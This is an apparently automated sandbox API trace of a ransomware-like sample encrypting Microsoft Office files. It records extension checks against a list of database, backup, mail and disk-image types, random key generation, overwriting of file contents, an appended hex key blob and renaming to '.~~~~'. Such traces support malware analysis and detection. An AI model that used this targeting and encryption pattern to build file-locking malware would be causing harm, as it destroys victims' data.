	[0135.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".com") returned 0x0
	[0135.711] lstrlenW (lpString=".lnk") returned 4
	[0135.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".lnk") returned 0x0
	[0135.712] lstrlenW (lpString=".msp") returned 4
	[0135.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".msp") returned 0x0
	[0135.712] lstrlenW (lpString=".pif") returned 4
	[0135.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".pif") returned 0x0
	[0135.712] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0135.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0135.714] lstrlenW (lpString=".sqb") returned 4
	[0135.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".sqb") returned 0x0
	[0135.714] lstrlenW (lpString=".ost") returned 4
	[0135.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".ost") returned 0x0
	[0135.714] lstrlenW (lpString=".txt") returned 4
	[0135.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".txt") returned 0x0
	[0135.714] lstrlenW (lpString=".mdt") returned 4
	[0135.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".mdt") returned 0x0
	[0135.715] lstrlenW (lpString=".BDB") returned 4
	[0135.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".BDB") returned 0x0
	[0135.715] lstrlenW (lpString=".eql") returned 4
	[0135.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".eql") returned 0x0
	[0135.715] lstrlenW (lpString=".DBF") returned 4
	[0135.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".DBF") returned 0x0
	[0135.715] lstrlenW (lpString=".EQL") returned 4
	[0135.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".EQL") returned 0x0
	[0135.715] lstrlenW (lpString=".FDB") returned 4
	[0135.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".FDB") returned 0x0
	[0135.715] lstrlenW (lpString=".EDB") returned 4
	[0135.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".EDB") returned 0x0
	[0135.715] lstrlenW (lpString=".DACPAC") returned 7
	[0135.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".DACPAC") returned 0x0
	[0135.715] lstrlenW (lpString=".VHD") returned 4
	[0135.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".VHD") returned 0x0
	[0135.715] lstrlenW (lpString=".DBV") returned 4
	[0135.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".DBV") returned 0x0
	[0135.715] lstrlenW (lpString=".dacpac") returned 7
	[0135.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".dacpac") returned 0x0
	[0135.715] lstrlenW (lpString=".sdf") returned 4
	[0135.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".sdf") returned 0x0
	[0135.715] lstrlenW (lpString=".accdb") returned 6
	[0135.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".accdb") returned 0x0
	[0135.715] lstrlenW (lpString=".DBX") returned 4
	[0135.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".DBX") returned 0x0
	[0135.715] lstrlenW (lpString=".MDT") returned 4
	[0135.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".MDT") returned 0x0
	[0135.716] lstrlenW (lpString=".SQB") returned 4
	[0135.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".SQB") returned 0x0
	[0135.716] lstrlenW (lpString=".vhd") returned 4
	[0135.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".vhd") returned 0x0
	[0135.716] lstrlenW (lpString=".bac") returned 4
	[0135.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".bac") returned 0x0
	[0135.716] lstrlenW (lpString=".mdf") returned 4
	[0135.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".mdf") returned 0x0
	[0135.716] lstrlenW (lpString=".BAK") returned 4
	[0135.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".BAK") returned 0x0
	[0135.716] lstrlenW (lpString=".BAC") returned 4
	[0135.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".BAC") returned 0x0
	[0135.716] lstrlenW (lpString=".dbs") returned 4
	[0135.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".dbs") returned 0x0
	[0135.716] lstrlenW (lpString=".vhdx") returned 5
	[0135.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".vhdx") returned 0x0
	[0135.716] lstrlenW (lpString=".NDF") returned 4
	[0135.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".NDF") returned 0x0
	[0135.716] lstrlenW (lpString=".dat") returned 4
	[0135.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".dat") returned 0x0
	[0135.716] lstrlenW (lpString=".DBS") returned 4
	[0135.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".DBS") returned 0x0
	[0135.716] lstrlenW (lpString=".CKP") returned 4
	[0135.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".CKP") returned 0x0
	[0135.716] lstrlenW (lpString=".edb") returned 4
	[0135.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".edb") returned 0x0
	[0135.716] lstrlenW (lpString=".PST") returned 4
	[0135.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".PST") returned 0x0
	[0135.716] lstrlenW (lpString=".dbf") returned 4
	[0135.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".dbf") returned 0x0
	[0135.717] lstrlenW (lpString=".SQL") returned 4
	[0135.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".SQL") returned 0x0
	[0135.717] lstrlenW (lpString=".pst") returned 4
	[0135.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".pst") returned 0x0
	[0135.717] lstrlenW (lpString=".dbv") returned 4
	[0135.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".dbv") returned 0x0
	[0135.717] lstrlenW (lpString=".SDF") returned 4
	[0135.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".SDF") returned 0x0
	[0135.717] lstrlenW (lpString=".dtxs") returned 5
	[0135.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".dtxs") returned 0x0
	[0135.717] lstrlenW (lpString=".db3") returned 4
	[0135.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".db3") returned 0x0
	[0135.717] lstrlenW (lpString=".OST") returned 4
	[0135.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".OST") returned 0x0
	[0135.717] lstrlenW (lpString=".dbx") returned 4
	[0135.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".dbx") returned 0x0
	[0135.717] lstrlenW (lpString=".DB3") returned 4
	[0135.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".DB3") returned 0x0
	[0135.717] lstrlenW (lpString=".DAT") returned 4
	[0135.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".DAT") returned 0x0
	[0135.717] lstrlenW (lpString=".VHDX") returned 5
	[0135.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".VHDX") returned 0x0
	[0135.717] lstrlenW (lpString=".ndf") returned 4
	[0135.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".ndf") returned 0x0
	[0135.717] lstrlenW (lpString=".DB") returned 3
	[0135.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".DB") returned 0x0
	[0135.717] lstrlenW (lpString=".sql") returned 4
	[0135.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".sql") returned 0x0
	[0135.717] lstrlenW (lpString=".MYD") returned 4
	[0135.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".MYD") returned 0x0
	[0135.717] lstrlenW (lpString=".DBT") returned 4
	[0135.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".DBT") returned 0x0
	[0135.718] lstrlenW (lpString=".ACCDB") returned 6
	[0135.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".ACCDB") returned 0x0
	[0135.718] lstrlenW (lpString=".fdb") returned 4
	[0135.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".fdb") returned 0x0
	[0135.718] lstrlenW (lpString=".bak") returned 4
	[0135.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".bak") returned 0x0
	[0135.718] lstrlenW (lpString=".myd") returned 4
	[0135.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".myd") returned 0x0
	[0135.718] lstrlenW (lpString=".DTXS") returned 5
	[0135.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".DTXS") returned 0x0
	[0135.718] lstrlenW (lpString=".ckp") returned 4
	[0135.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".ckp") returned 0x0
	[0135.718] lstrlenW (lpString=".dbt") returned 4
	[0135.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".dbt") returned 0x0
	[0135.718] lstrlenW (lpString=".db") returned 3
	[0135.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".db") returned 0x0
	[0135.718] lstrlenW (lpString=".TXT") returned 4
	[0135.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".TXT") returned 0x0
	[0135.718] lstrlenW (lpString=".MDF") returned 4
	[0135.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".MDF") returned 0x0
	[0135.718] lstrlenW (lpString=".bdb") returned 4
	[0135.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".bdb") returned 0x0
	[0135.718] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0135.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.719] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394f48) returned 1
	[0135.720] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.720] CryptReleaseContext (hProv=0x394f48, dwFlags=0x0) returned 1
	[0135.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0135.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0135.720] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25571000718) returned 1
	[0135.720] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xba569af0, dwHighDateTime=0x1d60e1e)) 
	[0135.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0135.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0135.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0135.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4900
	[0135.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4900 | out: hHeap=0x300000) returned 1
	[0135.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x399ba8
	[0135.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a81d0
	[0135.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399ba8 | out: hHeap=0x300000) returned 1
	[0135.721] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0135.721] GetLastError () returned 0x0
	[0135.721] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0135.721] GetLastError () returned 0x0
	[0135.724] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xffffc480, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.724] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x3b80, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x3b80, lpOverlapped=0x0) returned 1
	[0135.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0135.724] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.724] WriteFile (in: hFile=0x108, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.724] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.724] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.724] CloseHandle (hObject=0x108) returned 1
	[0135.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x399ba8
	[0135.725] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll.~~~~")) returned 1
	[0135.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399ba8 | out: hHeap=0x300000) returned 1
	[0135.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0135.727] GetLastError () returned 0x0
	[0135.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".scr") returned 0x0
	[0135.727] lstrlenW (lpString=".cmd") returned 4
	[0135.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".cmd") returned 0x0
	[0135.728] lstrlenW (lpString=".dll") returned 4
	[0135.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".dll") returned 0x0
	[0135.728] lstrlenW (lpString=".bat") returned 4
	[0135.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".bat") returned 0x0
	[0135.728] lstrlenW (lpString=".cpl") returned 4
	[0135.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".cpl") returned 0x0
	[0135.728] lstrlenW (lpString=".sys") returned 4
	[0135.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".sys") returned 0x0
	[0135.728] lstrlenW (lpString=".msc") returned 4
	[0135.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".msc") returned 0x0
	[0135.728] lstrlenW (lpString=".com") returned 4
	[0135.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".com") returned 0x0
	[0135.728] lstrlenW (lpString=".lnk") returned 4
	[0135.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".lnk") returned 0x0
	[0135.728] lstrlenW (lpString=".msp") returned 4
	[0135.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".msp") returned 0x0
	[0135.728] lstrlenW (lpString=".pif") returned 4
	[0135.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".pif") returned 0x0
	[0135.728] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0135.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0135.730] lstrlenW (lpString=".sqb") returned 4
	[0135.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".sqb") returned 0x0
	[0135.730] lstrlenW (lpString=".ost") returned 4
	[0135.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".ost") returned 0x0
	[0135.730] lstrlenW (lpString=".txt") returned 4
	[0135.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".txt") returned 0x0
	[0135.730] lstrlenW (lpString=".mdt") returned 4
	[0135.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".mdt") returned 0x0
	[0135.730] lstrlenW (lpString=".BDB") returned 4
	[0135.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".BDB") returned 0x0
	[0135.731] lstrlenW (lpString=".eql") returned 4
	[0135.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".eql") returned 0x0
	[0135.731] lstrlenW (lpString=".DBF") returned 4
	[0135.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".DBF") returned 0x0
	[0135.731] lstrlenW (lpString=".EQL") returned 4
	[0135.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".EQL") returned 0x0
	[0135.731] lstrlenW (lpString=".FDB") returned 4
	[0135.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".FDB") returned 0x0
	[0135.731] lstrlenW (lpString=".EDB") returned 4
	[0135.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".EDB") returned 0x0
	[0135.731] lstrlenW (lpString=".DACPAC") returned 7
	[0135.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".DACPAC") returned 0x0
	[0135.731] lstrlenW (lpString=".VHD") returned 4
	[0135.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".VHD") returned 0x0
	[0135.731] lstrlenW (lpString=".DBV") returned 4
	[0135.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".DBV") returned 0x0
	[0135.731] lstrlenW (lpString=".dacpac") returned 7
	[0135.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".dacpac") returned 0x0
	[0135.731] lstrlenW (lpString=".sdf") returned 4
	[0135.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".sdf") returned 0x0
	[0135.731] lstrlenW (lpString=".accdb") returned 6
	[0135.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".accdb") returned 0x0
	[0135.731] lstrlenW (lpString=".DBX") returned 4
	[0135.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".DBX") returned 0x0
	[0135.731] lstrlenW (lpString=".MDT") returned 4
	[0135.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".MDT") returned 0x0
	[0135.731] lstrlenW (lpString=".SQB") returned 4
	[0135.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL", lpSrch=".SQB") returned 0x0
